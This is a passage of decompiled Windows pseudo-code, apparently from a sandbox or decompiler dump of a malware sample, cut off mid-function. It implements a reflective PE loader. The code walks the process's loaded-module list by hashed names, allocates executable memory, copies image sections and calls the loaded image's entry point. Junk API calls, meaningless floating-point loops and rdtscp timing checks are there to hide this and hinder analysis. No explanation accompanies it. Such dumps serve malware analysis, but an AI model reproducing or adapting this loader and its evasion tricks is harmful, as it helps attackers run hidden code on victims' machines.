				signed int _t593;
				signed int _t597;
				signed int _t619;
				signed int _t624;
				signed int _t625;
				signed int _t629;
				signed char _t632;
				signed int _t642;
				signed int _t643;
				signed int _t654;
				signed int _t659;
				signed char _t673;
				signed int _t674;
				signed int _t684;
				signed char _t691;
				intOrPtr* _t693;
				signed int _t695;
				signed char _t696;
				signed char _t700;
				signed int _t705;
				intOrPtr _t713;
				intOrPtr* _t714;
				void* _t719;
				signed char _t720;
				signed int _t723;
				void* _t724;
				signed int _t728;
				signed int _t729;
				signed int _t732;
				signed int _t733;
				signed int _t735;
				void* _t736;
				signed int _t737;
				void* _t738;
				void* _t739;
				void* _t745;
				signed char _t747;
				void* _t749;
				void* _t750;
				signed int _t755;
				signed int _t756;
				signed int _t757;
				void* _t758;
				void* _t759;
				signed int _t760;
				signed int _t761;
				signed int _t762;
				signed int _t763;
				signed int _t764;
				signed int _t765;
				signed int _t766;
				signed int _t767;
				intOrPtr* _t769;
				void* _t770;
				void* _t771;
				signed int _t775;
				signed int _t777;
				signed int _t780;
				signed int _t782;
				signed int _t785;
				signed int _t786;
				void* _t787;
				signed int _t788;
				signed int _t790;
				signed int _t792;

				_t597 = __ecx;
				_t354 =  *0x6e93d008; // 0x6cddfca0
				_t355 = _t354 ^ _t788;
				_v8 = _t355;
				asm("movups xmm0, [ebp+0x8]");
				_push(__ebx);
				asm("movups [ebp-0x94], xmm0");
				_push(__edi);
				asm("movups xmm0, [ebp+0x18]");
				asm("movups [ebp-0x84], xmm0");
				asm("movups xmm0, [ebp+0x28]");
				asm("movups [ebp-0x74], xmm0");
				asm("rdtscp");
				_v12 = __ecx;
				if(__edx != 0 || _t355 > 0x989680) {
					_t732 = 0xd66f8c;
					_v24 = 0xd66f8c;
				} else {
					asm("rdtscp");
					_v12 = __ecx;
					_t355 = E6E927520(0x989680, 0, _t355, __edx);
					_t732 = _t355;
					_v24 = _t355;
				}
				asm("rdtscp");
				_v12 = _t597;
				_t718 = _t355 * 0xa094 >> 0x20;
				_t360 = E6E927C90(_t355 * 0xa094, 0 + _t718, 0x5f, 0);
				asm("movd xmm0, edi");
				asm("cvtdq2pd xmm0, xmm0");
				_t15 = _t360 + 3; // 0x3
				_t574 = _t15;
				_v28 = _t574;
				asm("movsd [ebp-0x10], xmm0");
				asm("movsd xmm0, [0x6e936728]");
				_v92 = 0;
				_v12 = 0;
				_v76 = 0;
				_v72 = 0;
				_t361 = E6E8F27E0(_t360, _t718);
				asm("movsd [ebp-0x3c], xmm0");
				asm("xorps xmm0, xmm0");
				E6E8F27E0(_t361, _t718);
				asm("addsd xmm0, [ebp-0x3c]");
				_t755 = _v152;
				asm("movsd xmm1, [0x6e936640]");
				asm("cdq");
				_v52 = _t755;
				asm("mulsd xmm0, [0x6e9364e0]");
				_t365 = _t732 - _t718 >> 1;
				asm("divsd xmm0, [0x6e936508]");
				asm("movsd [ebp-0x3c], xmm0");
				if(_t365 < _t574) {
					asm("movsd xmm0, [ebp-0x10]");
					_t733 = 0;
					__eflags = 0;
					asm("comisd xmm0, xmm1");
					_t756 = 0x66;
					if(0 > 0) {
						do {
							_t733 = (_t733 << 0x00000020 | _t756) << 1;
							_t756 = _t756 + _t756;
							__eflags = _t756;
							_t718 = _t733;
							_t365 = L6E927F60(_t365, _t756);
							asm("comisd xmm0, [0x6e936640]");
						} while (__eflags > 0);
					}
					asm("comisd xmm0, [0x6e936540]");
					if(__eflags >= 0) {
						CreateMenu();
						_t365 = L6E927F60(E6E8F5F20(0x21), _t570);
						asm("cvtsd2ss xmm0, xmm0");
						asm("cvtss2sd xmm0, xmm0");
					}
					asm("movss xmm1, [0x6e936774]");
					_t575 = 0x4f;
					_t734 = 0;
					__eflags = 0;
					asm("movss [ebp-0x24], xmm1");
					asm("comisd xmm0, [0x6e9366f0]");
					_t31 = _t575 - 0x1e; // 0x31
					_t757 = _t31;
					if(0 > 0) {
						do {
							asm("cdq");
							_t575 = E6E9278D0(_t575, _t718, _t757, _t734);
							_t568 = E6E8F5F20(_t567);
							asm("movss xmm1, [ebp-0x24]");
							_t757 = _t568;
							asm("subss xmm1, xmm1");
							_t734 = _t718;
							asm("movss [ebp-0x24], xmm1");
							_t365 = L6E927F60(_t568, _t757);
							asm("cvtsd2ss xmm0, xmm0");
							asm("movd xmm1, ebx");
							asm("mulss xmm0, [ebp-0x24]");
							asm("cvtdq2ps xmm1, xmm1");
							asm("subss xmm1, xmm0");
							asm("cvtps2pd xmm0, xmm1");
							asm("comisd xmm0, [0x6e9366f0]");
						} while (__eflags > 0);
					}
					asm("ucomisd xmm0, [0x6e9365f0]");
					asm("lahf");
					__eflags = _t365 & 0x00000044;
					if((_t365 & 0x00000044) != 0) {
						GetDialogBaseUnits();
						_t575 = E6E8F5ED0(0xc9);
						_t368 = E6E8F5F20(_t367);
						asm("movd xmm1, ebx");
						asm("cvtdq2ps xmm1, xmm1");
						asm("movd xmm0, eax");
						asm("mulss xmm1, [0x6e936780]");
						asm("cvtdq2ps xmm0, xmm0");
						asm("mulss xmm1, xmm0");
						asm("cvtps2pd xmm0, xmm1");
					} else {
						GetProcessWindowStation();
						_t564 = E6E8F5ED0(0x4c);
						asm("movss xmm2, [0x6e936784]");
						_t565 = _t564;
						asm("movaps xmm0, xmm2");
						asm("movd xmm1, eax");
						asm("cvtdq2ps xmm1, xmm1");
						asm("cdq");
						asm("divss xmm0, xmm1");
						asm("cvttss2si ecx, xmm0");
						_t368 = _t565 / 0x4c;
						_t718 = _t565 % 0x4c;
						asm("movd xmm0, eax");
						asm("cvtdq2ps xmm0, xmm0");
						asm("subss xmm2, xmm0");
						asm("cvtps2pd xmm0, xmm2");
					}
					asm("ucomisd xmm0, [0x6e936628]");
					asm("movsd [ebp-0x10], xmm0");
					asm("lahf");
					__eflags = _t368 & 0x00000044;
					if(__eflags != 0) {
						goto L284;
					} else {
						asm("movsd xmm1, [0x6e936648]");
						_t718 = 0x2e;
						asm("comisd xmm0, xmm1");
						if(__eflags <= 0) {
							_v32 = _v48;
						} else {
							do {
								_t705 = _t718 + _t718;
								_t718 = _t718 - _t705;
								__eflags = _t718 * _t705;
								asm("movd xmm0, eax");
								asm("cvtdq2pd xmm0, xmm0");
								asm("comisd xmm0, xmm1");
								asm("movsd [ebp-0x10], xmm0");
							} while (_t718 * _t705 > 0);
							_v32 = _v48;
						}
						goto L26;
					}
				} else {
					while(1) {
						asm("movsd xmm0, [0x6e936728]");
						_t571 = E6E8F27E0(_t365, _t718);
						asm("movsd [ebp-0x3c], xmm0");
						asm("xorps xmm0, xmm0");
						_t365 = E6E8F27E0(_t571, _t718);
						asm("addsd xmm0, [ebp-0x3c]");
						asm("mulsd xmm0, [0x6e9364e0]");
						asm("divsd xmm0, [0x6e936508]");
						asm("movsd [ebp-0x3c], xmm0");
						if( *_t755 != 0x5a4d) {
							goto L9;
						}
						_t713 =  *((intOrPtr*)(_t755 + 0x3c));
						_t365 = _t713 - 0x40;
						if(_t713 - 0x40 > 0x3bf) {
							goto L9;
						}
						_t714 = _t713 + _t755;
						_v32 = _t714;
						if( *_t714 != 0x4550) {
							goto L9;
						}
						asm("movsd xmm0, [ebp-0x10]");
						L26:
						_t381 =  *( *[fs:0x30] + 0xc);
						_v44 = _t381;
						_t618 =  *(_t381 + 0x14);
						_v36 = _t618;
						__eflags = _t618;
						if(__eflags == 0) {
							L109:
							_t734 = _v24;
							_t575 = _v28;
							goto L110;
						} else {
							while(1) {
								_v48 =  *((intOrPtr*)(_t618 + 0x28));
								_t745 = 0;
								_t489 =  *(_t618 + 0x24) & 0x0000ffff;
								_t757 = _t489;
								asm("movsd [ebp-0x10], xmm0");
								_t718 = (_t489 + 1) * 4 >> 0x20;
								_t381 = E6E9041D4(_t718, __eflags,  ~(0 | __eflags > 0x00000000) | (_t489 + 0x00000001) * 0x00000004);
								_t790 = _t790 + 4;
								_t575 = _t757;
								__eflags = _t757;
								if(_t757 == 0) {
									goto L49;
								}
								asm("movsd xmm0, [ebp-0x10]");
								_t757 = _v48;
								_t698 = _v28;
								asm("movsd [ebp-0x10], xmm0");
								do {
									_t531 = _v24;
									__eflags = _t531 - _t698;
									_t532 =  <=  ? _t698 : _t531;
									_v24 = _t532;
									L298();
									_t700 =  *_t757;
									_t734 = _t532;
									__eflags = _t700 - 0x61;
									if(_t700 < 0x61) {
										_t534 = _v24 + 4;
										__eflags = _t534 - _v28;
										if(__eflags <= 0) {
											asm("movsd xmm1, [0x6e9365d0]");
											asm("comisd xmm1, xmm0");
											if(__eflags > 0) {
												asm("movsd xmm0, [0x6e9366b0]");
												_t557 = E6E8F5BB0(_t534, _t575, _t700, _t718, _t734, _t757);
												asm("cvttsd2si eax, xmm0");
												_t534 = _t557 - 0x22;
												asm("movd xmm0, eax");
												asm("cvtdq2pd xmm0, xmm0");
											}
											asm("movsd xmm1, [0x6e9366c8]");
											asm("comisd xmm1, xmm0");
											if(__eflags < 0) {
												asm("ucomisd xmm0, [0x6e9366c0]");
												asm("lahf");
												__eflags = _t534 & 0x00000044;
												if(__eflags != 0) {
													goto L37;
												} else {
													_t556 = GdiFlush();
													asm("xorps xmm0, xmm0");
													_t534 = E6E8F5BB0(_t556, _t575, _t700, _t718, _t734, _t757);
													asm("cvtsd2ss xmm0, xmm0");
													asm("xorps xmm1, xmm1");
													asm("cvtss2sd xmm0, xmm0");
													asm("subsd xmm1, xmm0");
													goto L38;
												}
												goto L303;
											} else {
												__imp__GetCurrentProcessorNumber();
												L37:
												asm("xorps xmm0, xmm0");
												asm("xorps xmm1, xmm1");
												asm("divsd xmm1, xmm0");
											}
											L38:
											asm("movsd xmm0, [0x6e936560]");
											asm("movsd [ebp-0x10], xmm0");
											asm("movsd xmm0, [0x6e9366f8]");
											asm("movsd [ebp-0x50], xmm0");
											asm("movsd xmm0, [0x6e936708]");
											asm("comisd xmm0, xmm1");
											while(__eflags >= 0) {
												GetLogicalDrives();
												asm("movsd xmm0, [ebp-0x10]");
												asm("cvttsd2si ecx, [ebp-0x50]");
												asm("subsd xmm0, xmm0");
												asm("movsd [ebp-0x10], xmm0");
												_t534 = E6E8F5ED0(_t700);
												asm("movd xmm0, eax");
												asm("cvtdq2pd xmm0, xmm0");
												asm("movaps xmm1, xmm0");
												asm("movsd [ebp-0x50], xmm0");
												asm("mulsd xmm1, [ebp-0x10]");
												asm("movsd xmm0, [0x6e936708]");
												asm("comisd xmm0, xmm1");
											}
											asm("ucomisd xmm1, [0x6e9366c0]");
											asm("lahf");
											__eflags = _t534 & 0x00000044;
											if(__eflags != 0) {
												L285:
												_t604 = 0x46;
												E6E8F5D10();
												L286:
												_t370 = GetClipboardViewer();
												asm("movsd xmm0, [0x6e9366f8]");
												E6E8F5BB0(_t370, _t575, _t604, _t718, _t734, _t757);
												asm("cvttsd2si eax, xmm0");
												E6E8F5D10();
												L287:
												GetCommandLineW();
												E6E8F5D10();
												L288:
												E6E8F5D10();
												L289:
												E6E8F5D10();
												L290:
												__imp__GetClipboardSequenceNumber();
												E6E8F5D10();
												L291:
												E6E8F5D10();
												L292:
												E6E8F5D10();
												L293:
												__imp__IsWow64Message();
												L294:
												GetUserDefaultLangID();
												E6E8F5D10();
												L295:
												E6E8F5D10();
												L296:
												__imp__UnregisterApplicationRestart();
												E6E8F5D10();
												L297:
												GetACP();
												E6E8F5D10();
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_push(_t788);
												_t792 = (_t790 & 0xfffffff8) - 0xc;
												_t375 =  *0x6e93d008; // 0x6cddfca0
												_t376 = _t375 ^ _t792;
												_v172 = _t376;
												_push(_t757);
												_t758 = 0x1a;
												asm("rdtscp");
												__eflags = _t718;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L301:
														asm("rdtscp");
													} else {
														__eflags = _t376 - 0x989680;
														if(_t376 <= 0x989680) {
															goto L301;
														}
													}
												}
												asm("rdtscp");
												asm("ror esi, 0xd");
												_pop(_t759);
												__eflags = _v172 ^ _t792;
												return E6E904160(_t758, _t575, _v172 ^ _t792, _t718, _t734, _t759);
											} else {
												asm("movsd xmm0, [0x6e9365c8]");
												asm("comisd xmm0, xmm1");
												if(__eflags <= 0) {
													GetLastError();
													asm("movsd xmm0, [0x6e936720]");
												} else {
													_t550 = E6E8F5ED0(0x5b);
													asm("cdq");
													asm("sbb edx, 0x0");
													L6E927F60(_t550 - 0x4a, _t550 - 0x4a);
													asm("cvtsd2ss xmm0, xmm0");
													asm("subss xmm0, xmm0");
													asm("cvtss2sd xmm0, xmm0");
												}
												asm("movsd [ebp-0x10], xmm0");
												goto L47;
											}
										} else {
											_t745 = _t734 + (_t700 & 0x000000ff);
											goto L47;
										}
									} else {
										_t745 = _t734 + 0xffffffe0 + (_t700 & 0x000000ff);
										L47:
										_t698 = _v28;
										asm("cdq");
										_t381 = _v24 - _t718 >> 1;
										__eflags = _v24 - _t718 >> 1 - _t698;
										if(_v24 - _t718 >> 1 < _t698) {
											_t750 = AreFileApisANSI;
											asm("o16 nop [eax+eax]");
											while(1) {
												asm("movsd xmm1, [0x6e9366f8]");
												_t594 = 0x4f;
												_t786 = 0;
												__eflags = 0;
												_v65 = 3;
												asm("comisd xmm1, xmm0");
												_v40 = 0x4f;
												if(0 < 0) {
													goto L84;
												}
												L82:
												do {
													__imp__GetCurrentProcessorNumber();
													_t541 = E6E8F5F20(_t594);
													_t542 = _v40;
													_t786 = (_t786 << 0x00000020 | _t542) << 1;
													_t718 = _v65 - _t541;
													_v65 = _v65 - _t541;
													_v40 = _t542 + _t542;
													asm("cdq");
													_t545 = E6E9274E0(_v65 - _t541, _v65 - _t541, _t541, _v65 - _t541);
													_t594 = _v40;
													_t546 = _t545 - _v40;
													__eflags = _t546;
													_t698 = _t546;
													asm("sbb edx, esi");
													L6E927F60(_t546, _t546);
													asm("movsd xmm1, [0x6e9366f8]");
													asm("comisd xmm1, xmm0");
												} while (__eflags >= 0);
												L84:
												asm("movsd xmm1, [0x6e936550]");
												do {
													asm("cvttsd2si ecx, xmm1");
													_t595 = E6E8F5F20(_t698);
													_t698 = E6E8F5ED0(_t538);
													asm("movd xmm1, ecx");
													asm("movd xmm0, eax");
													asm("cvtdq2pd xmm1, xmm1");
													asm("cvtdq2pd xmm0, xmm0");
													asm("subsd xmm0, xmm1");
													asm("comisd xmm0, [0x6e9364f0]");
												} while (__eflags >= 0);
												asm("comisd xmm0, [0x6e936640]");
												if(__eflags <= 0) {
													asm("movsd xmm0, [0x6e936710]");
													while(1) {
														asm("movsd xmm1, [0x6e9366f8]");
														_t594 = 0x4f;
														_t786 = 0;
														__eflags = 0;
														_v65 = 3;
														asm("comisd xmm1, xmm0");
														_v40 = 0x4f;
														if(0 < 0) {
															goto L84;
														}
														goto L82;
													}
												}
												_t787 = 0x7e;
												do {
													_t548 = AreFileApisANSI();
													asm("movd xmm0, esi");
													asm("cvtdq2pd xmm0, xmm0");
													_t549 = E6E8F5BB0(_t548, _t595, _t698, _t718, _t750, _t787);
													asm("xorps xmm1, xmm1");
													asm("cvtsd2ss xmm1, xmm0");
													asm("movaps xmm0, xmm1");
													asm("subss xmm0, xmm1");
													asm("cvttss2si eax, xmm0");
													_t787 = _t549;
													asm("movd xmm0, esi");
													asm("cvtdq2ps xmm0, xmm0");
													asm("subss xmm1, xmm0");
													asm("cvtps2pd xmm0, xmm1");
													asm("movsd xmm1, [0x6e936598]");
													asm("comisd xmm1, xmm0");
												} while (__eflags >= 0);
											}
										}
										goto L48;
									}
									goto L303;
									L48:
									_t575 = _t575 + 0xffff;
									_t757 = _t757 + 1;
									__eflags = _t575;
								} while (_t575 != 0);
								L49:
								__eflags = _t745 - 0x6a4abc5b;
								if(_t745 != 0x6a4abc5b) {
									L75:
									__eflags = _v92;
									if(_v92 == 0) {
										L78:
										_t618 =  *_v36;
										_v36 = _t618;
										__eflags = _t618;
										if(__eflags == 0) {
											goto L109;
										} else {
											asm("movsd xmm0, [ebp-0x10]");
											continue;
										}
									} else {
										__eflags = _v12;
										if(_v12 == 0) {
											goto L78;
										} else {
											__eflags = _v76;
											if(_v76 != 0) {
												_t734 = _v24;
												_t575 = _v28;
												__eflags = _t734 + 4 - _t575;
												if(__eflags > 0) {
													_t718 = 0x91afca54;
													E6E8F7A30(0x91afca54);
													_t684 = _v32;
													_t618 =  *((intOrPtr*)(_t684 + 0x50)) + 0xc;
													_t381 = VirtualAlloc(0,  *((intOrPtr*)(_t684 + 0x50)) + 0xc, 0x3000, 0x40); // executed
													_v44 = _t381;
													L110:
													asm("movsd xmm0, [0x6e9364f0]");
													_t760 = 1;
													asm("o16 nop [eax+eax]");
													do {
														asm("subsd xmm0, [0x6e9364e8]");
														asm("xorps xmm1, xmm1");
														asm("mulsd xmm0, [0x6e9364e0]");
														asm("addsd xmm0, xmm1");
														_t381 = E6E8F27E0(_t381, _t718);
														asm("mulsd xmm0, [0x6e9364d8]");
														_t760 = _t760 + 1;
														__eflags = _t760;
														asm("movsd xmm1, [0x6e936748]");
														asm("addsd xmm0, [ebp-0x3c]");
														asm("movaps xmm2, xmm0");
														asm("movd xmm0, esi");
														asm("cvtdq2pd xmm0, xmm0");
														asm("movsd [ebp-0x3c], xmm2");
														asm("comisd xmm1, xmm0");
													} while (_t760 >= 0);
													__eflags = _t734 - _t575;
													if(__eflags > 0) {
														_t619 = _v52;
														_t761 = _t619;
														_v32 = _t619;
														_t383 =  *((intOrPtr*)(_t619 + 0x3c)) + _t619;
														_v40 = _t383;
														_t735 =  *(_t383 + 0x54);
														_t384 = _v44;
														_v36 = _t384;
														__eflags = _t735;
														if(_t735 != 0) {
															_t589 = _t384;
															asm("o16 nop [eax+eax]");
															do {
																asm("movsd xmm0, [ebp-0x10]");
																asm("movsd [ebp-0x10], xmm0");
																asm("movsd xmm0, [0x6e9364d0]");
																E6E8F27E0(_t384, _t718);
																asm("mulsd xmm0, [0x6e9364d8]");
																_t384 =  *_t761;
																_t761 = _t761 + 1;
																 *_t589 = _t384;
																_t589 = _t589 + 1;
																asm("addsd xmm0, [ebp-0x3c]");
																asm("movaps xmm2, xmm0");
																asm("movsd [ebp-0x3c], xmm2");
																_t735 = _t735 - 1;
																__eflags = _t735;
															} while (_t735 != 0);
															asm("movsd xmm0, [ebp-0x10]");
															_v36 = _t589;
															_t575 = _v28;
															asm("movsd [ebp-0x10], xmm0");
															_v32 = _t761;
															asm("movsd [ebp-0x3c], xmm2");
														}
														asm("movsd xmm0, [0x6e9364f0]");
														_t734 = _t735 - 1;
														__eflags = _t734;
														_v56 = _t734;
														_t762 = 1;
														do {
															asm("mulsd xmm0, [0x6e9364e0]");
															asm("xorps xmm1, xmm1");
															asm("addsd xmm0, xmm1");
															_t384 = E6E8F27E0(_t384, _t718);
															asm("mulsd xmm0, [0x6e9364c8]");
															_t762 = _t762 + 1;
															__eflags = _t762;
															asm("movsd xmm1, [0x6e936740]");
															asm("addsd xmm0, [ebp-0x3c]");
															asm("movsd [ebp-0x3c], xmm0");
															asm("movd xmm0, esi");
															asm("cvtdq2pd xmm0, xmm0");
															asm("comisd xmm1, xmm0");
														} while (_t762 >= 0);
														asm("cdq");
														_t387 = _v24 - _t718 >> 1;
														__eflags = _t387 - _t575;
														if(_t387 < _t575) {
															asm("movsd xmm0, [ebp-0x10]");
															asm("ucomisd xmm0, [0x6e9366c8]");
															asm("lahf");
															__eflags = _t387 & 0x00000044;
															if(__eflags != 0) {
																goto L289;
															} else {
																asm("comisd xmm0, [0x6e936708]");
																if(__eflags <= 0) {
																	GetTickCount();
																	_t390 = L6E927F60(E6E8F5F20(0x29), _t389);
																	asm("cvtsd2ss xmm0, xmm0");
																	asm("movss [ebp-0x4c], xmm0");
																	asm("movsd xmm0, [0x6e9365c0]");
																	E6E8F5BB0(_t390, _t575, _t389, _t718, _t734, _t762);
																	asm("movss xmm1, [ebp-0x4c]");
																	asm("divss xmm1, [0x6e936770]");
																	asm("cvttsd2si eax, xmm0");
																	asm("movd xmm0, eax");
																	asm("cvtdq2ps xmm0, xmm0");
																	asm("addss xmm1, xmm0");
																	asm("cvtps2pd xmm0, xmm1");
																} else {
																	E6E8F5ED0(0x29);
																	asm("movd xmm0, eax");
																	asm("cvtdq2ps xmm0, xmm0");
																	asm("divss xmm0, [0x6e93678c]");
																	asm("addss xmm0, [0x6e936788]");
																	asm("cvtps2pd xmm0, xmm0");
																}
																asm("comisd xmm0, [0x6e9366e8]");
																if(__eflags <= 0) {
																	EmptyClipboard();
																	E6E8F5ED0(0x4f);
																	E6E8F5D10();
																	L284:
																	GetForegroundWindow();
																	E6E8F5D10();
																	goto L285;
																} else {
																	asm("movss xmm1, [0x6e93677c]");
																	_t624 = 5;
																	asm("movsd xmm2, [0x6e9366f0]");
																	_t394 = 0x58;
																	do {
																		_t395 = _t394 * _t624;
																		__eflags = _t395;
																		_t624 = _t395;
																		asm("movd xmm0, ecx");
																		asm("cvtdq2ps xmm0, xmm0");
																		asm("subss xmm0, xmm1");
																		asm("movaps xmm1, xmm0");
																		asm("movd xmm0, eax");
																		asm("cvtdq2ps xmm0, xmm0");
																		_t394 = 1;
																		asm("mulss xmm0, xmm1");
																		asm("cvtps2pd xmm0, xmm0");
																		asm("comisd xmm2, xmm0");
																		asm("movsd [ebp-0x10], xmm0");
																	} while (_t395 >= 0);
																	asm("movsd xmm1, [0x6e9364e0]");
																	goto L141;
																}
															}
														} else {
															asm("movsd xmm0, [0x6e936728]");
															_t475 = E6E8F27E0(_t387, _t718);
															asm("movsd [ebp-0x3c], xmm0");
															asm("xorps xmm0, xmm0");
															E6E8F27E0(_t475, _t718);
															asm("addsd xmm0, [ebp-0x3c]");
															asm("movsd xmm1, [0x6e9364e0]");
															_t673 = _v40;
															asm("mulsd xmm0, xmm1");
															_t394 =  *(_t673 + 0x14) & 0x0000ffff;
															_t718 =  *(_t673 + 6) & 0x0000ffff;
															_t734 = _t673 + 0x18 + ( *(_t673 + 0x14) & 0x0000ffff);
															_v56 = _t734;
															asm("divsd xmm0, [0x6e936510]");
															asm("movsd [ebp-0x3c], xmm0");
															__eflags = _t718;
															if(_t718 != 0) {
																asm("movsd xmm0, [ebp-0x10]");
																_t394 = _v52;
																do {
																	_t718 = _t718 - 1;
																	_t780 =  *((intOrPtr*)(_t734 + 0xc)) + _v44;
																	_t588 =  *((intOrPtr*)(_t734 + 0x14)) + _t394;
																	_t674 =  *(_t734 + 0x10);
																	_v32 = _t780;
																	_v36 = _t588;
																	__eflags = _t674;
																	if(_t674 != 0) {
																		do {
																			_t477 =  *_t588;
																			_t588 = _t588 + 1;
																			 *_t780 = _t477;
																			_t780 = _t780 + 1;
																			_t674 = _t674 - 1;
																			__eflags = _t674;
																		} while (_t674 != 0);
																		_t394 = _v52;
																		_v36 = _t588;
																		_v32 = _t780;
																	}
																	_t734 = _t734 + 0x28;
																	_v72 = _t674 - 1;
																	__eflags = _t718;
																} while (_t718 != 0);
																_t575 = _v28;
																asm("movsd [ebp-0x10], xmm0");
																_v56 = _t734;
															}
															L141:
															asm("movsd xmm0, [0x6e9364f0]");
															_t763 = 1;
															asm("o16 nop [eax+eax]");
															do {
																asm("subsd xmm0, [0x6e9364e8]");
																asm("mulsd xmm0, xmm1");
																asm("xorps xmm1, xmm1");
																asm("addsd xmm0, xmm1");
																_t394 = E6E8F27E0(_t394, _t718);
																asm("mulsd xmm0, [0x6e9364d8]");
																_t763 = _t763 + 1;
																__eflags = _t763;
																asm("movsd xmm1, [0x6e936748]");
																asm("addsd xmm0, [ebp-0x3c]");
																asm("movsd [ebp-0x3c], xmm0");
																asm("movd xmm0, esi");
																asm("cvtdq2pd xmm0, xmm0");
																asm("comisd xmm1, xmm0");
																asm("movsd xmm1, [0x6e9364e0]");
															} while (_t763 >= 0);
															asm("movsd xmm2, [ebp-0x10]");
															_t397 = _v24 + _v24;
															__eflags = _t397 - _t575;
															if(_t397 < _t575) {
																asm("ucomisd xmm2, [0x6e936630]");
																asm("lahf");
																__eflags = _t397 & 0x00000044;
																if(__eflags == 0) {
																	do {
																		_t397 = L6E927F60(_t397, 1);
																		asm("movaps xmm2, xmm0");
																		asm("ucomisd xmm2, [0x6e936630]");
																		asm("movsd [ebp-0x10], xmm2");
																		asm("lahf");
																		__eflags = _t397 & 0x00000044;
																	} while (__eflags != 0);
																}
																asm("comisd xmm2, [0x6e9365e8]");
																if(__eflags >= 0) {
																	_t397 = GetThreadLocale();
																	asm("xorps xmm2, xmm2");
																	asm("movsd [ebp-0x10], xmm2");
																}
																_t764 = _v36;
																_t718 = _v32;
															} else {
																_t718 = _v40 - 0xffffff80;
																_v32 = _t718;
																_t764 =  *_t718 + _v44;
																_v36 = _t764;
															}
															_t625 =  *(_t764 + 0xc);
															__eflags = _t625;
															if(_t625 == 0) {
																L205:
																asm("movsd xmm0, [0x6e9364f0]");
																_t765 = 1;
																asm("movsd [ebp-0x50], xmm2");
																do {
																	asm("mulsd xmm0, [0x6e9364e0]");
																	asm("xorps xmm1, xmm1");
																	asm("addsd xmm0, xmm1");
																	_t397 = E6E8F27E0(_t397, _t718);
																	asm("mulsd xmm0, [0x6e9364c8]");
																	_t765 = _t765 + 1;
																	__eflags = _t765;
																	asm("movsd xmm1, [0x6e936740]");
																	asm("addsd xmm0, [ebp-0x3c]");
																	asm("movsd [ebp-0x3c], xmm0");
																	asm("movd xmm0, esi");
																	asm("cvtdq2pd xmm0, xmm0");
																	asm("comisd xmm1, xmm0");
																} while (_t765 >= 0);
																_t718 = _v24;
																_t766 = _v44;
																__eflags = _t718 - _t575;
																if(_t718 <= _t575) {
																	_t626 = _v32;
																} else {
																	_t397 = _v40;
																	_v52 = _t766 -  *((intOrPtr*)(_t397 + 0x34));
																	_t626 = _t397 + 0xa0;
																	_v32 = _t626;
																}
																__eflags =  *(_t626 + 4);
																if( *(_t626 + 4) == 0) {
																	L257:
																	asm("movsd xmm0, [0x6e9364f0]");
																	_t767 = 1;
																	asm("o16 nop [eax+eax]");
																	do {
																		asm("mulsd xmm0, [0x6e9364e0]");
																		asm("xorps xmm1, xmm1");
																		asm("addsd xmm0, xmm1");
																		_t397 = E6E8F27E0(_t397, _t718);
																		asm("mulsd xmm0, [0x6e9364c8]");
																		_t767 = _t767 + 1;
																		__eflags = _t767;
																		asm("movsd xmm1, [0x6e936740]");
																		asm("addsd xmm0, [ebp-0x3c]");
																		asm("movsd [ebp-0x3c], xmm0");
																		asm("movd xmm0, esi");
																		asm("cvtdq2pd xmm0, xmm0");
																		asm("comisd xmm1, xmm0");
																	} while (_t767 >= 0);
																	__eflags = _v24 - _t575;
																	if(__eflags >= 0) {
																		_t576 = _v44;
																		 *0x6e93f334 = _t576;
																		_t769 =  *((intOrPtr*)(_v40 + 0x28)) + _t576;
																		__eflags = _v148;
																		if(_v148 != 0) {
																			_t399 =  *_t769(_v116, 1, 0);
																			goto L282;
																		} else {
																			_t718 = _v144;
																			_t626 = _t576;
																			_t737 = E6E8F6030(_t576, _v144);
																			__eflags = _t737;
																			if(_t737 == 0) {
																				L282:
																				asm("movsd xmm0, [ebp-0x3c]");
																				_t400 = E6E927DD0(_t399, _t626, _t718);
																				_pop(_t736);
																				_pop(_t770);
																				__eflags = _v8 ^ _t788;
																				_pop(_t577);
																				return E6E904160(_t400 + _t769, _t577, _v8 ^ _t788, _t718, _t736, _t770);
																			} else {
																				__eflags = _v120;
																				_t629 = _v116;
																				if(_v120 != 0) {
																					__eflags = _t629;
																					if(_t629 != 0) {
																						_t719 =  *( *[fs:0x30] + 0xc);
																						_t407 =  *(_t719 + 0x14);
																						_t718 = _t719 + 0x14;
																						__eflags = _t407 - _t718;
																						if(_t407 != _t718) {
																							while(1) {
																								__eflags =  *(_t407 + 0x10) - _t629;
																								if( *(_t407 + 0x10) == _t629) {
																									break;
																								}
																								_t407 =  *_t407;
																								__eflags = _t407 - _t718;
																								if(_t407 != _t718) {
																									continue;
																								} else {
																								}
																								goto L280;
																							}
																							 *(_t407 + 0x10) = _t576;
																						}
																					}
																				}
																				L280:
																				 *_t769(_t629, 1, 0);
																				_t404 =  *_t737(_v136, _v132, _v128, _v124);
																				_pop(_t738);
																				_pop(_t771);
																				_pop(_t578);
																				__eflags = _v8 ^ _t788;
																				return E6E904160(_t404, _t578, _v8 ^ _t788, _t718, _t738, _t771);
																			}
																		}
																	} else {
																		asm("movsd xmm2, [0x6e936588]");
																		asm("movsd xmm3, [0x6e936600]");
																		asm("movsd xmm1, [ebp-0x10]");
																		while(1) {
																			asm("movsd xmm0, [0x6e936610]");
																			asm("comisd xmm0, xmm1");
																			if(__eflags < 0) {
																				goto L263;
																			}
																			GetDialogBaseUnits();
																			asm("movsd xmm3, [0x6e936600]");
																			asm("movsd xmm2, [0x6e936588]");
																			L264:
																			asm("movsd xmm1, [0x6e936698]");
																			do {
																				asm("movaps xmm0, xmm1");
																				asm("mulsd xmm1, xmm0");
																				asm("comisd xmm1, xmm2");
																			} while (__eflags >= 0);
																			asm("comisd xmm1, xmm3");
																			asm("movsd xmm2, [0x6e9365e8]");
																			while(__eflags >= 0) {
																				asm("movaps xmm0, xmm2");
																				asm("addsd xmm2, xmm0");
																				asm("comisd xmm2, xmm3");
																				asm("movaps xmm1, xmm2");
																			}
																			asm("comisd xmm1, [0x6e936570]");
																			asm("movsd xmm2, [0x6e936588]");
																			if(__eflags >= 0) {
																				goto L296;
																			} else {
																				continue;
																			}
																			goto L297;
																			L263:
																			asm("movsd xmm0, [0x6e9365f0]");
																			asm("comisd xmm0, xmm1");
																			if(__eflags <= 0) {
																				goto L264;
																			}
																			goto L297;
																		}
																	}
																} else {
